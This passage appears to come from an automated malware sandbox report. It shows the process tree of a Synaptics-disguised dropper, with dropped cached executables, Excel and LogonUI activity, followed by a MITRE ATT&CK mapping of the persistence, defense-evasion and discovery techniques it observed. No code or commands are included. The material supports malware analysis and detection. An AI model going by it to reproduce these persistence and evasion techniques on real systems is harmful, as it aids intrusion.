    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1224
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in System32 directory
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:1064
- - C:\Windows\SysWOW64\._cache_Synaptics.exe
    "C:\Windows\system32\._cache_Synaptics.exe" InjUpdate
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6080

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5548

C:\ProgramData\Synaptics\Synaptics.exe
C:\ProgramData\Synaptics\Synaptics.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:2700
- C:\Windows\SysWOW64\._cache_Synaptics.exe
  "C:\Windows\system32\._cache_Synaptics.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3712

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa387e855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery